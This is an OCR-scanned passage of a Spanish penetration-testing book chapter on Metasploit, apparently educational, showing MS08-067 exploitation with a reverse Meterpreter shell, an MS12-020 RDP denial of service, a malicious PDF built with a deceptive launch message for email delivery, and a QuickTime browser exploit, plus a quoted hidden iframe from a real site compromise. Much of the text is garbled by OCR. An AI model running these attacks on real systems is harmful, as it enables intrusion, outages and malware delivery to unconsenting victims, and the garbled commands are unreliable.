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< payload porque en su configuracién se le dice que debe esperar. Cuando el auditor ge encuentra

con un modulo cargado, previo use del comando use, llega un momento en el que se debe elegir el
payload, con la instruccion set PAYLOAD <ruta payload>, y es en este punto cuando implicitamente
se llama a exploit/multi/handler de manera transparente al auditor. En otras ocasiones, puede ser que
se deba utilizar explicitamente a exploit/multi/handler para manejar y gestionar las posibles sesiones

remotas.

Para visualizar todos los paploads disponibles en el framework se dispone del comando shov
payloads ejecutado desde la raiz de msfconsole. Si se ejecuta este comando una vez se encuenira
catgado un médulo concrelo, sélo se mostraran los payloads validos para dicho mad tlo, siempre y
cuando el desarrollador del médulo asi lo haya especificado.

La ruta donde se encuentran fisicamente estos payloads, (hay que tener en cuenta que en el libro
se utiliza BackTrack), es /pentesifexploiis/framework3/modules/payloads donde se organizan los 3
tipos por carpelas con los nombres de ésios.

Otra de las cosas que hay que tener en cuenia cuando se listan los distintos payloads es la propicdad
NoNXy NX. EINX bit es una caracteristica de los procesadores modernos para prevenir la ejecucion
de codigo en ciertas dreas de memoria. Por ejemplo, en sistemas Windows NX es implemeniado
como DEP. Si se ve esta caracteristica en algiin payload del listado significa que ese cddigo esta
preparado para evadir el DEP.

Los payloads que indican 1Pv6 en la lista indican que estan preparados para funcionar en redes 1Pv6.

windows /messagebox normal Windows HessageBox

windows/meterpreter/bind_ipvé tcp nermal  Windows Heterpreter
(Reflective Injection), Bind TCP Stager (IPvs)

windows/meterpreter/bind_nonx_tcp ) normal Windows Meterpreter
(Reflective Injection), Bind TCP Stager (No NX or Win7)

windows/meterpreter/bind_tep normal Windows Meterpreter
(Reflective Injection), Bind TCP Stager

windows/meterpreter/find_tag normal Windows Meterpreter
(Reflective Injection), Find Tag Ordinal Stager

windows/meterpreter/reverse http normal Windows Meterpreter

Fig 3.01: Ejecucitn de show payloads.

La eleccion del payload es fundamental, y puede llevar a fa prueba al éxito o al [racaso, Fin
condiciones normales, para poder realizar la prueba de explotacién valdria con un exploit de tipo
single, el cual deje una evidencia de que se ha ejecutado cédigo arbitrario en el sistema.

También hay que tener claro que, generalmente, los test de intrusion no es solo ejecutar cadigo
arbitrario en una maquina remota, ya que se pueden utilizar estas maquinas vulneradas para acceder
a recursos més interesantes en una organizacion y conseguir mejores resultados. Es por esta razon
que los tipos stagers son también muy interesantes y Gtiles en algunos escenarios.
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3. intrusidn sin interaccién

El fanzamiento de exploits sobre maquinas objetivo sin interaccion por parte del usuario es uno de ios
puntos que mds puede asustar a los usuarios y propietarios de maquinas o empresas. Usta situacion
es critica ya que si una maquina es vulnerable a'un exploif el cual no requiera de interaccion por parte
del usuario, cualquier atacante podria tomar el control remoto de dicho equipo sin que ! usuario
notase, u priori, nada exirao.

A continuacién se van a proponer algunos ejemplos mediante el uso de pruebas de concepto en el
que se podra estudiar la configuracion y ejecucion de este tipo de exploits y situaciones.

PoC: La primera intrusion

En esta prueba de concepto se haré uso de la vulnerabitidad MSNS-06 7, de la que se puede obtener
tads informacion y detalies en el siguiente sitio web htip:/fwww.microsoft.com/lutamitecinet/
seguridad/boletines/2008/ms08-067. mspx.

En primer lugar, tras arrancar msfconsole, se puede reaiizar una blsqueda por servicio, lecnologia,
aplicacidn, mediante el comando search, por ejemplo search netapi. Se obliene asf una lista con los
modalos que encajan con el patrén de bisqueda introducido anteriormente,

j@j > search netapi
1+ Searching loaded modules for pattern ‘netapi'...

Name Disclosure Date Rank  Description

wintdous/smb/mse3_ 049 petapi 2003-11-11 good  Microsofi Workstation Service NetAddAlie
rnatedomputerName Cverflow

windows/smb/mso6_648_netapl 2686-08-08 great  Microsoft Server Service NetpwPathCaneni
jralize Overflow

windows/smb/ms86_876 wkssve 2686-11-14 manyal  Microsoft Workstation Service NetpManage
IPCCannect Overflow

windows/snb/mso8_667 netapi 2008-19-28 great  Microsoft Server Service Relative Path §

tack Corruption

Fig 3.02: Bisqueda de médulos con el comando scarch.

En este punto ya se dispone de la ruta donde se aloja el médulo que s requiere, en este ejemplo seria
exploit/windows/smb/ms08_067 _netapi, Para cargar el médulo se utiliza ¢l comando use, y una vez
cargado se pueden configurar sus variables para lanzar e! exploit sobre el objetivo. Bl cual en esty
prueba de concepto es una méquina Windows XP SP3 spanish. Bste exploit se puede utilizar sobre
una gran cantidad de objetivos, cubriendo Windows 2000, 2003 y XP con SP2y SP3.

Hay que recordar que los comandos info o help ayudan a obtener informacian sobre el médulo
0 sobre los comandos que se pueden utilizar. Ademds, e! comando show aperta informacion, por
ejemplo, sobre las opciones con las que se puede configurar el exploit y las opciones que dispone
el payload, o los payloads disponibles para este modulo con show payloads, o incluso los farge:
compatibles con el médulo con show targefs.

Capirulo II. 1l arte dc la intrusion . _m

msf > use exploit/windows/snb/ns68_667 netapl
nsf exploit(mse8_067_netapi) > show options

Hodule options (exploft/wirdows/snb/ms6s_a67_netapi);

Name Current Setting Required Description

RHOSY yes The target address
RPORT 445 yes Set the SHB service port
SMBPIPE  BROWSER yes, The pipe name to use {BROWSER, SRVSVC)

rxploil target:

I Neme

¢ Automatic Targeting

msf exploit{msB8_867_netapi) > set PAYLDAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/ reverse_tcp {
si exploit(ms8_B67 netapi) > set RHOST 192.168.1.37
RHOSY => 192.168.1.37

Fig 3.03: Carga del exploit y configuracién del médulo.

Una vez cargado el mddulo, si se ejecuta show options se muestran las variables para configurar el
exploit. En este ejempio, se configura la variable RHOST para indicar cual es [a maquina objetive.’
Ademds, se debe indicar en fa variable PAYLOAD cual de ellos se quiere ejecutar. Una vez indicade .
el payload si se vuelve a ejecutar el comando show options se puede observar como aparecen,
ademds de las varizbles de configuracién del exploit, las variables de configuracion del payload.

2s{ exploft{msB8_067 netapl) > show options
todule options (exploit/wimiows/smb/msss-eﬂ_netapi):

Hame Curvent Setting Required Description

RHOST 192.168.1.37 ves The target address
RKPORT 445 yes set the SHB service port
SHBPIPE  BROWSER yes The pipe name to use {BROWSER, SRVSYC})

Payload options (wlndows/meterpreter/reverse-lcp):

Name Current Setting Required Description

EXITFUNC  thread yes Exit technique: seh, thread, process, nene
iHosT yes The listen address

LPORT 4444 yes The listen port

Cxpleit target:
1 rame
8 Automatic Targeting

nsf exploft{msid_067_netapl) > set LHOST 192.168.1.35
LHOST => 192.168.1.35

Fig 3.04: Carga del papload y conliguracién del médulo.

Es muy interesante entender distintos conceptos en el comportamiento de los payload en funcién
de si son inversos, reverse, o directos, bind. Bn la prueba de conceplo se ha utilizado un payload
melerpreler de conexion inversa, por lo que se debe confi gurar al codigo del payload dénde se debe



conectar mediante la variable LHOST, es decir, a la direccion IP del atacante o de un servidor que
recoja las conexiones que se encuentre bajo el control del atacante.
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Por otro lado, se podria haber utilizado un payload con conexion divecta, bind. En ese caso, en vez
de aparecer la variable LHOST en la configuracion del payload, apareceria la variable RHOST,
que debe ser la direccion iP de la méquina a la que se quiere acceder. Hay que recordar que en un
pavload de conexion directa, es el auditor quin se conecta a la victima, Tras el lanzamiento del
exploit, se deja en un puerto a la escucha, por ejemplo, una shell, y es entonces el auditor quién se
conecta a ese puerto donde espera la shell remota.

Conexidy Inversa

1. Audilor Ianza exploit

2. Ejecucidn de coddigo en miquina reniota
3. El payload se conects a la direccidn que se configurd en
Ia variabie LUOST

® 4, La variable LHOSY puede ser la direccién P def auditor
u otro servidor mavefada por of auditor que recoje conexiones

Conexién Directa

1. Auditor fanza exploit
2. Ejecucidn de cddigo en miquina remota
3. Se deja en un puerio uga shell

4. La varisble RIOST det payload debe ser I direccion
IP de la victima. Audilor conects con esa IV y puerto

Fig 3.05: Detalle de fa conexién de los papload.

El comando check permite verificar si el equipo remoto es vulnerable al médulo cargado, por esto,
antes de lanzar el exploit se puede utilizar este comando para verificar la vulnerabilidad. Una vez
verificada se lanza el comando exploit, y se obtiene la sesion remota, en este caso de meferpreter.

lmEI EXpLolt(ms08_067_netapl) > check

(*} Verifying vutnerable status... {path: 6x6008885a)
t+} The target is vulnerable.
wsf exploit{ms0s_867_netapi) > exploit

[*] Started reverse handler on 192.166.1.35:4444

{+]) Automatically detecting the target...

{*] Fingerprint: Windows XP - Service Pack 3 - lang:Spanish

{*] selected Target: Windows XP SP3 Spanish (NX}

{*) Attempting to trigger the vulnerability...

[*} Sending stage (749856 bytes) to 192.168.1.37

{*] Meterpreter session 2 opened (192.168.1,35:4444 -> 192,168.1.37:1943) at 2812-66-24 17:48:85
+0200

Fig 3.06: Explotacion de la maquina Windows XP SP3 spanish.

PoC: Denegacion de servicio y las pérdidas

En esta prueba de concepto no se realiza un proceso de intrusion, pero si se comprueba la seguridad
de los servicios de los que puede disponer una empresa, cuyas caidas pueden provocar pérdidas a
éstas, ya sea de forma privada o pablica. En este ejemplo se utilizara la vulnerabitidad M5/2-020 de
la que se puede obtener mayor informacion en la siguiente URL: htip.//technet.microsofi.coni/es-es/

KN
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security/bullerin/ms12-020. La maquina objetivo en el siguiente escenario serd un Windows 7 con
SP1 de 64 bits. También son posibles fargess las siguientes versiones de los sistemas operativos XP,
2003, 2008 6 2008 R2,

En primer lugar, la victima debe disponer de una configuracion concreta de su servicio de escritorio
remoto. Como se puede visualizar en la imagen existen 3 opciones en Windows 7, [6gicamente, si no
se permiten conexiones no se podra realizar la denegacion de servicio, y por otro lado, si se confi gura
que sélo se permitan las conexiones desde equipos que egjecuten escritorio remolo con autenticacion
a nivel de red tampoco. Por lo que si la victima dispone de la configuracién permitic conexiones
que ejecuten cualquier version de escritorio remoto, puede ser vulnerable si no ha actualizado con
la correccidn de la vulnerabilidad.

Escitaio remolo
Haga.clic en una opcidn y después especiique quién puede
coneclarse, stfuér necesardo.
& Ho pamitic las conexiones a este equipo
| &) Permitic las conexiones desde equipos que efecuien
cualguier versin de Escrtorio remslo fienos sequro)

i@ Pemmitic sélo las conexiones desde equipos qus gjecuten Escritorio
remoto con. Autenticacicn a nivel de red {nds seguio)

: Ayudame 8 eleair

Fig 3.07: Contiguracidn escritorio remoto en Hindows 7.

Para oblener el médulo se puede descargar directamente en la siguiente web www.anerasploit.
com/modulestauxiliary/dos/windows/rdp/ms12_020_maxchannelids teniendo en cuenta que es un
modulo de tipo auxiliary.

[ast > Search ms12-828

Matching Hodules

e ]

Hame Disclosure Date Rank

auxiliary/dos/windows/rdp/ms12_826 maxchannelids 2612-83-16 normal M512-820 Hicrosoft
Remote Desktop Use-After-Free DoS

Description

‘gs_[ > use auxiliary/dos/windows/rdp/ms12_028_maxchannelids
msf auxiliary(msi2_020_maxchannelids) > show options

Hodule options (auxiliary/dos/windows/rdp/msi2_828_maxchannelids):

Name  Current Setting Required Description
RHOST yes
RPORT 3359 yes

The target address
The target port

msf auxiliary{msl2_020_maxchannelids) > set RHOST 192.168.9.55
AHOST => 192.168.8.55
msf auxiliary(ms12_828_maxchannelids) > run

{*] 192.168.0.55:3389 - Sending MS12-826 Microsoft Remote Desktop Use-After-Free DoS
{*] 182.168,6.55:3389 - 218 bytes sent

[*] 192.168.8.55:3389 - Checking RDP status...

{1} 192.168.8,55:3389 seems down

1*] Auxiliary module execution compleied

- Fig 3.08: Denegacion de servicio del escritorio remoto de una maquina Windows 7.
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Una vez se dispone del moduio en el framework se accede a €l y se configura, de manera sencilla,
el equipo remoto al que se quiere denegar el servicio. Si todo va bien, se obtendra un mensaje que
enuncia seems down. Si la méquina a auditar dispusiera de un servicio de escritorio remoto en otro
puerto que no sea el de por defecto, se puede utitizar la variable RPORT para indicar cual es ef puerto

que se esta utilizando.

Parece que todo ha funcionado correctamente y que la mdquina ha caido. En funcién de la
configuracion de la mdquina ésta se reiniciard tras realizar un voleado de memoria. ;Y si tras
volverse a levantar se le vuelve a realizar una denegacion de servicio? ;Y si la maquina no esta
configurada para reiniciarse y queda fuera de servicio hasta su reinicio manual? Estas preguntas son
bastante légicas, y la realidad es que si la maquina es vulnerable fa empresa tiene un gran problema,
cif cual deberia ser solucionado con la aplicacion del parche para evitar esle agujero.

roblen. has heen.detected and windows has been.shut-dtw . to prevent, danane
£0your Soputers. - ) ’ B M

5Y5
‘ULT...I M HONPAGED, AREA

tha fpst time you've seen this stop erpor. screen,
T computar, If this sceean.appears again, Follow

check to make stre any_new ha @ or software 45 proparly instaliad.
If. this 4% 4 new-installation, your hardware gr-software manufacturar
Foany Windows updates you iight Aeed. 4

probiens coptinue, tisable or remove any newly installed hardwire
or:seftware. Disable 8105 wemory options such as” caching or shadowing.
E you nieed 1o use safe pade to remove or disable compotents, rastart
your colputer, press £8 to selact advanced startup options, and ‘then
sélect safe mode, - . -

Tachnical foforiation: ,
e STOP: 0500000030 (OXC5F SBAGC, 0X0D000000, OXBFAFFAEE, 0X0000000)

i; RDPWD.SYS ~ Address SFARFAEE hase at BFAEQ0U0, Datastamp 433bcaee

Tlectiny data for crash dump ...

. na-disk for crash dumg ..
g tump -of: physical wemo
FphysTeal mamory teldisky - L

Fig 3.09: Pantallazo azul de Windows 7 tras la denegacion de servicio,

4, Intrusion con interaccion

Client side atiack o ataques del lado del cliente, son ataques que permiten al atacante tomar el
control de una maquina victima explotando una vulnerabilidad de una aplicacién que es cjecutada
por el usuario. Bste tipo de ataques son muy frecuentes, cada vez son mas complejos y provocan que
la victima no sepa realmente lo que estd haciendo con su maquina.

Iista técnica consiste en crear, ya sea un fichero, un servicio, o una aplicacion, con fines maliciosos
con el objetivo de obtener acceso a la maquina de la victima, ya sea por red local o por Internet.

Capitulo IIl. El arte de la intrusion

Metasploit aynda mucho en este tipo de ataques y en este apartado se demostrard la flexibilidad a li
hora de pensar en un ataque de este tipo.

A continuacién se proponen distintos escenarios y pruebas de concepto con los que el fector pued
asimilar la técnica y los conceptos de manera sencilla y répida. . i

PoC: Los archivos adjuntos pueden ser muy peligrosos q
En esta prueba de concepto se utilizara fa posibilidad de crear archivos maliciosos con el fin de qud
fas victimas lo ejecuten mediante el uso de una aplicacién vuinerable. Fn la prueba se utiliza un

vulnerabilidad de la famosa herramienta Adobe Reader, la cual es vulnerable en sus versiones 8.x ;l
9.x del producto. 4

En este ejemplo se ha decidido explotar esta vulnerabilidad debido a que afecta a los archivos PDF!
muy utilizados en Internet, y a una de las herramientas que disponen la mayoria de los usvarios parg
visualizar este tipo de archivos. Existen otras vulnerabilidades de este tipo, cominmente conocidas:
como FileFormat, en el que se pueden crear documentos ofimaticos de aplicaciones muy utilizadad
como Word o Excel, o archivos de listas de reproduccién de iTunes, cuyos fines son maliciosos. {

Una de las vias de distribucion de este ataque seria, por gjemnplo en el contexto de una gran empresal
el correo electronico. Mediante ia utilizacion de un servidor de correo electronico se podria hacer;
llegar este tipo de archivos a toda una organizacién y con alta probabilidad habria usvarios que
gjecutarfan estos archivos. Otra de las vias, serfa colgar estos archivos en foros, blogs, sitios webl
bajo el control del atacante, etcétera. Como siempre, todo depende de fa imaginacion del atacante y
de la calidad de su ingenieria social. = {

1
El escenario que se propone en esta prueba de concepto es que un atacante prepara un documento

PDF en el cual se inyecta un payload de tipo Meterpreter. Este archivo utilizaté una plantilla, es'
decir, un documento PDF real que seré el que se visualizard cuando la victima lo ejecute, Ademas,
cuando la victima lo ejecute, si su aplicacién Adobe Reader es yulnerable se ejecutard el payload. ¥
atacante realizard la distribucion mediante el uso del correo electrénico, como archivo adjunto. El’
alacante deberd cargar el médulo exploit/multi/handler para recoger las distintas conexiones que s«

obtengan por las explotaciones realizadas con éxito mediante ¢} archivo PDF malicioso.
|

El exploit se encuentra alojado en exploit/windows/fileformatiadobe _pdf_embedded exe en la ruta-
relativa a msfconsole. Si se miran los farges, se encuenira que solo funciona para Windows XP

" 5P3 versién inglesa. Si el objetivo son victimas con sistemas operativos en ofro idioma, el ataque

por defecto no funcionard. Existe una facil solucion y es modificar el script en Ruby vy afiadir 1o
necesario para que el exploit funcione en sistemas operativos con Ja versign espafiola.

Bl exploit se encuentra en la ruta /pentest/explqz‘ls%amewor/d/modules/exploi{s/windows/
Jileformat/adobe_pdf embedded exe.rb 6 /bpl/Opi/ﬂ1€’ﬂsp/oit3/ms/3/modules/exploits Hwindows/
Jileformat/adobe_pdf embedded_exe.rb. Para modificar el exploir y que funcione en Windows XP
SP3 en espaiiol se debe localizar la siguiente linea en el cddigo.
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dirs = [ “Desktop”, “My Documents”, “Documents”]

Simplemente se deben afiadir los siguientes nombres a la anterior Jinea.

dirs = [ “Desktop”, “My Documents”, “Documents”, “Escritorio”, “Mis Documentos”,
“Documentos” }

Una vez modificado el script se debe arrancar msfconsole y se podrd utitizar el nuevo méduio
modificado. En la siguiente tabia se pueden visualizar algunos pardmetros interesantes a configurar
tras fa carga del modulo adobe_pdf embedded _exe.

Pardmetro Valor
EXENAME Nombre del gjecutable del payload, si no se indica se autogenera uno.
FILENAME Se indica el nombre que recibiré el PDF malicioso.

Se indica la ruta donde se encuentra el PDF real que se utilizard para

INFILENAME L
mostrar a la victima,

Mensaje que visualizard la victima, el cual si ejecuta se realizard la
explotacion. Debe ser un mensaje creible.
Tabla 3.01: Configuracién del médulo adobe _pdf embedded_exe.

LAUNCH_MESSAGE

INFILENANE => /root/Desktop/miPlantilla.pdf

Bsf exploit{adohe_pdf_embedded exe] > set GUTPUTPATH /root
OUTPUTPATH => /root

nsf exploit{adobe_pdf_embedded_exe) > show options

Hodule options (exploit/windows/fileformat/adobe_pdf_embedded_exe) :

Name Current Setting
Required Description

EXENAME
no The Name of payload exe.
FILENAME evil.pdf
no The output filename.
INFILENAME /root/Desktop/miPlantilia. pdf
yes The Input POF filename.
LAUNCH MESSAGE To view the encrypted content ptease tick the “"Do not show this message again
“ box and press Open. no The message to display in the File: area
OQUTPUTPATH Jroot
yes The location of the file.

Fig 3.10: Configuracion para la creacion de! PDF malicioso.

Ademis, hay que configurar el parametro PAYLOAD, en este ejemplo se ha utilizado set PAYLOAD
windows/meterpreter/reverse_tcp. Indicando a qué IP se tiene que conectar el payload.

Una vez configurado se ejecuta el comando exploit y se genera el fichero PDF malicioso. Se puede
empezar la distribucién mediante e correo electronico, pero a la vez se debe estar preparado para
recibir las conexiones o sesiones remotas. Para ello se carga en msfconsole el médulo exploit/multi/
handler. Este manejador sirve para que cuando la victima ejecute el archivo y el payload realice
la conexidn inversa al atacante, este modulo gestionar este proceso dando acceso al atacante a la
méquina remota. '

Capitulo I1l. El arte de la intrusion

Este mddulo se configura de manera sencilla, simplemente se debe indicar que tipo de payload se
espera y cual es la direccion IP local, es decir, a la que el payload se va & conectar.

usf exploit(bundler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD == windows/meterpreter/ reverse_tcp
mst exploit(handler) > set LHOST 192.168.8.62
LHOST => 192.168.6.62
Fig 3.11: Configuracion det manejador de Metasploir.

Una vez que las posibles victimas han abierto el corteo, han gjeculado el archivo PDF v disponen de
una vession de fa aplicacién vulnerable se muestra un warning al usuario. Es por ello que el mensaje
que se introduzea en el parametro LAUNCH _MESSAGE es importante que sea creible, un ltoque
de ingenieria social, B} usuario pulsa sobre open y se estaré ejecutando el payload en la miéquina de

la victima.
File: |
fu

{00 ot shaw this messags again

eba de 164 con un pdf malighol

! 6pen‘ | L"ﬁo-h}otbpen]

Fig 3.12: Ejecucion del PDF por parte de la victima.

La explotacién devuelve una consola de Meterpreter y el usuario o victima puede seguir visualizando
el PDF, el cual muestra el contenido de la plantilla utilizada para crear et PDF malicioso.

epsf exploit(handler) > exploit

[*] started reverse handler on 192.168.8.62:4444

[*} Starting the payload hendler...

{*} Sending stage (749656 bytes) to 142.168.9.61 ]

{*] Meterpreter session 1 opened (192.168.8.62:4444 -> 192.168.0.61:2321) at 2012-86-27 03.09:21

+3200

meterprefer > background I
msf exploit{handier} > sessions -1

Active sessions
TSRS R

Id Type Information Connection

1 meterpreter xB6/win32

192.168.6.62:4444 -> 192.168,0.61:2321

Fig 3.13: Oblencidn de la sesion inversa de Meferpreter.

PoC: QuickTime y sus conexiones por Rubén Santamarta
A finales del afio 2010, salié una de las vulnerabilidades mas importantes en los Giimos ticmpos
en lo que se refiere a Apple y sus productos. Rubén Santamarta, investigador espafiol de seguridad
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y muy conocido como reversermode, sacé a la luz piblica esta vulnerabilidad y su correspondiente
exploif el cual permitia a un atacante ejecutar codigo arbitrario en las versiones XP de Windows con
SP3. Esta vulnerabilidad se encontraba escondida en QuickTime Player y llevaba 9 afios ahi. La
vulnerabilidad se debe a un pardmetro denominado _Marshaled_pUnk, en el visor de QuickTime
que se utiliza para cargar elementos desde la ventana. Segtin comentaba Rubén Santamarta, cuando
publico su exploif cn el articulo hitp:/fwww.reversemode.com/indes. phpPoption=com_content&iasi
=viewdid=69&Itemid=1, parece que alguien se olvidé de | impiar esta funcionalidad.

e

Bl dia despuds de que Rubén liberase este Oday que afectaba a las Gltimas versiones de QuickTime,
por aquel entonces fa 7.6.6 y la 7.6.7, los desarrolladores de Metasploit liberaron un médulo para ef
Jramework.

El escenario de la prueba de concepto es el siguiente: existe un atacante, con una disiribucion
BackTrack que quedard a la espera de que fas victimas, que ejecuten una version de QuickTime 7.6.7
o inferior, se conecten a un recurso propuesto por el atacante, ;Como se logra que las victimas se
coiecten a fa miquina dei atacante? Esta pregunta tiene muchas respuestas, y normalmente se pucde
conlestar con la palabra imaginacion. No existe un método Unico, y siempre cada método puedc
ser gjecutado con toques interesantes de creatividad e imaginacién. Por ejemplo, el atacante puede
haber distribuido una gran cantidad de links por foros, blogs, redes sociales, correos electrénicos,
eteélera que redirijan a una victima a fa direccién [P y al recurso malicioso del atacante. Iin muchas
ocasiones, la victima no serd vulnerable al exploif, ya sea porque no dispone de esa aplicacién, o
porque la aplicacion estd parcheada.

Otro método interesante es interceptar el trafico de las victimas, encontrandose en la red local del
atacante y redirigirla hacia el recurso malicioso. Quiza uno de los métodos més interesantes, y que
es muy ulilizado en el mundo real para distribuir malware, es disponer de una serie de paginas
hackeadas a tas que se coloca un jframe transparente que apunta hacia el recurso malicioso. En
este caso cuando la victima entra a la pagina web real, su navegador carga el jframe, el cual apunta
hacia el recurso malicioso y se puede llevar a cabo la explotacién, sin mas interaccién por parte de
la victima que el simple acceso a un sitio web,

msf > search marshaled
[} Searching loaded modules for pattern 'marshaled ...

Exploits
Name Disclosure Date Rank Description
windows/brnwser/apple_quicktime_marshaledﬁpunk 2016-68-38 great Apple QuickTime 7.6,7

Marshaled _pink Code Execution

msf > use expioit/windows/browser/apple_quicktlme_marshaled_punk
msf exploit(apple quicktine marshaled punk) >

FQSJQmedﬂm&bhmmﬂmk{pmﬁpma@wkQmwﬂmc161

Tras buscar marshaled en el framework se carga el médulo y se prepara el entorno para que cuando
el cliente realice la peticion y ejecute la aplicacién vulnerable, client side attack, el exploit realice el
trabajo y devuelva el control de la maquina remota. T
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EXpLOIT (aTgets

Id Name

8 Apple QuickTime Player 7.6.6 and 7.6.7 on Windows X SP3

nsf exploit(apple_guicktime marshaled_punk) > set SRYHOST 192.168.9.62

SRVHOST => 192.168.0.62

nsf exploit{apple_quicktime marshaled_punk) > set SRVPOST 8@

SRVPORT => 89

msf exploit({apple_quicktime marshaled_punk) > set URIPATH / juegas

URIPATH => /jueges

ast exploit(apple_quicktime_marshaled_punk) > set PAYLOAD windows/meterpreter/reverse tep
PAYLOAD => windows/meterpreter/reverse_tep -
msf explcit(appla_quicktime~marshaled«punk) > set LHOST 192.168.8.62

LLHOST => 182,168.0.62

Fig 3.15: Configuracion del médulo marshaled | ptnk.

La configuracién es sencilla, se deben asignar valores a las variables o a los parametros siguientes:

Pardametro Valor

SRVHOST LLa direccion IP donde se implementa ef recurso malicioso o exploit
Se debe indicar el puerto que quedaré a la escucha, para simular u }

SRVPORT : | puerto que q p para simular un recurso
web es importante asignarlo en el 80

. Recurso al que se quiere acceder. En el ejemplo se indica /i /

URIPATH 50 4 q q jemp ndiea /juegos, pero
bastaria con /

PAYLOAD Se debe indicar el payload a ejecutar en la maquina vulnerable

Tabla 3.02: Configuracion del médulo marshaled _punk

ms f explolt{apple_quicktime_marshaled_punk) > exploit
{*1 Exploit running as background job.

7] Started reverse handler on 192.168.0.62:4444

[+] Using bRL: http://192.168.0.62:85/juegos

%] Server started,

ms f exp\oit(applanquicktima_marshaled"punk) > [*] Sending Apple QuickTime 7.6.7 _Marshaled_punk

Code Execution exploit HTML to 192.168,0.61:1835... -

[*} Sending stage (749056 bytes) to 192.168.8.61

[+] Meterpreter session 1 opened {192.168.8.62:4444 -> 192,168.0.61:1636) at 2012-86-27 82:16:09
+0208

f*} Session 1D 1 (192.168.0.62:4444 -> 192.168,8.61:1636) processing InitialAutorunScript *migra
te -’

[*] Current server process: IEXPLORE.EXE {2680}

{+] Spawning a noltepad.exe host process. ..

[*] Migrating into process ID 4836

[*] New server process: notepad.exe (4636}

Fig 3.16: Explotacion lograda con el médulo marshaled | punk,
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Puefien llegar peticiones de muchas victimas, en funcién del método de distribucién que se ‘ln a
realizado, cuantas més peticiones lleguen mayor probabilidad de éxito. Aunque un concepto d;ze
quedar claro y es que cuando se descubri esta vulnerabilidad y fue liberada por Rubén Santamarta
era un Oday por lo que no existia actualizacién que parchease el fallo. Lo importante del conc; ;0
es ver y entender los peligros que disponen las aplicaciones no actualizadas y los fabricantes ucpno
son rapidos ante las salidas de los temidos Oday. !

Dark Shadows, el mundo oscuro y-real

La 1f1clu‘stria del malware y el fraude online sigue siendo, a dia de hoy, el gran molor de esta ind uslria
Un indicador de este hecho es el nimero de copias tnicas de malware que se ha disparado en los.
u‘ltmms afios. En primer lugar, hay que recordar que el spam, en especial el farmacéutico, i sie
siendo ta via de distribucién elegida, que el malware sigue creciendo, que los Mac OS X esét‘;m
en auge y que los dispositivos méviles son un objetivo ya atacudo. Ademés en infraestructuras
impartantes se han descubierto vulnerabilidades criticas y el niimero de ag,ujeros de se uridz;d
descubiertos por aiio sigue siendo un niimero muy alto. :

+ CTATHCTINA SRR .,"vcmum - v lxocml IATEIRH W -0

s nevion 13 71% . e Rasneteaton 45555 " oo 860 12.77 @I

) " pope - BB o st owm s .72 @RS

B | (BN Belves 22 ww 1901 EIERRNICY

s ‘ T g enktan M % o 16.70 SRR -
1904‘;“){“@«’_.‘1 25463 xocrs £ Sduiwo - 13.5@8:{: I\ o - . - . e —

. ‘ 2 : © e, oo 360 36 4 1319 @TRNBEEENTY |

| R R L B Gemany 3 an i 547 UTETHIIIING

. f ot ! 25 5 .77 ONEIIRESRE
EPAYIEFW WHTEE  XOLIM | JAFPYIKH % ~n 14 lsrael 183 m ] 581 ST
© opers s /70 oM 640 18,57 @R ETITET f B Ebda . a1 7 Bt 8,77 @XIIRRRIOY
@ Frefox s U By 7 2,31 QI Bpree 1557 [ 156 1204 BRI

. G st > ™ 50 3 761 GEVHIEE
£ totka % o 15 v v OVoNY . R arevaen o : -
& vsie » mo e 7 2,34 @EEG & s 0 2 e

. © Ouonie > 2 1 e 0.00 SIS - P I

' | daoes > 7% .69 EHTTHEERLES

Lo ) AATH KBCIM e — & oamg > 159 20,3 @RI
& W1 LT SR RS e LN ! D01 SRR

. & winiaws 7 WY 2 w04 501 GTSARITIE o »

(@ Mot e % 720 emamn | MOTOKS T -7

+ 1 Windows 2003 187 m " 16,53 ORI . Sheam 31 » ) M s 7293 B71 SRR
0 Widows 000 47 " 6 50 @uRwnwn S0 3 02

T 158 u -2 L4 ORENEIReR ) .

DB Wt 2 1 50.00 (ERBGRR EARAE |

(M0 e g o ST |

e I p ° 000 GRS |

Hlackhole v.1.0.6

Fig 3.17: Kit de explotacion Black Hole.

Capitulo III. El arte de la intrusion

Una de las vias mas importantes para la distribucion de malware son los sitios web, utitizando un kit
de explotacion, como puede ser Black Hole, Eleonore o Phoenix Exploit. Bstos kit de explotacion
disponen de gran cantidad de exploits piblicos y, si se paga lo suficienle en el mercado underground,
de exploits privados. Dichos exploits privados proporcionan al atlacante una ventaja sobre muchos de

los usuarios que caeran en sus redes con fines maliciosos.

Ademas, disponen de paneles que aportan facilidad de uso y gran informacién. Muchos de elios
ofrecen estadisticas de los navegadores explotados, los paises de las victimas, porcentaje de éxito,
exploits que mis acierto han tenido, el sistema operativo més explotado, etcétera.

El proceso no es trivial pero una vez estudiado no es de gran complejidad. La idea es que el atacanie
selecciona las viciimas a través de un programa automdtico que busca patrones en los buscadores
como Google ¢ Bing. Una vez se obtiene la lista de sitios que son vulnerables, se realizan ataques
SQL Jnjection a todos ellos, cuyas inyecciones estén preparadas para introducir codigo malicioso en
la pagina web. Bl codigo malicioso que se introduce carga el contenido de una direccién que serd
donde se encuentre el kit de explotacion. De este modo, cuando un visitante navegue por el sitio web
vulnerado serd alacado con un exploif que tratard de ejecutar un malware en su miquina.

Como ejemplo de un hecho real se muestra a continuacion uno de los varios ataques sufridos por la
web de Apple. También hay que decir que Apple ha trabajado siempre de manera répida para limpiar
toda referencia a sitios web maliciosos. En la imagen se puede visnalizar como se inyectd un jfiame
que referenciaba al sitio web malicioso en el interior del sitio web de Apple. El sitio al que se referian
era al dominio nemohuildiin.ru, pero la victima podria no detectar ninguna accion extraiia ya que si
el iframe fuese transparente no se visualizaria nada extrafio.

: slte:apple.com nemohuildiin.ru ! Buscar !

2 resutados (0,58 segundos) " Bisqueda svanzoda

Build For Change Diges!<ilfame src="hip/nemohuildiin ruAds/go ... 7 - { Tradicir ssta pagina |
Download of subsciibe to free padcast episodes from Build For Change Digest.
itunes.apple 7 -Eslados Unidos - En cachié

Change - Dovmload free podcast episodes by Scherkenbach oniTunes. 75 - { Tratiucir esta pagma )
Build For Change Digest<if sic="} i in.suftds/go.| fd=1" widih="0"
height="0" style="display:nane"></freme>; kezi@pega.com ...

itunes apple convkalpodeastl . fid 186615228 - Estados Unides - Ep caché

Fig 3.18: Blisqueda de sitios hackeados que distribuyen malware.

PoC: La técnica Browser Autopwn
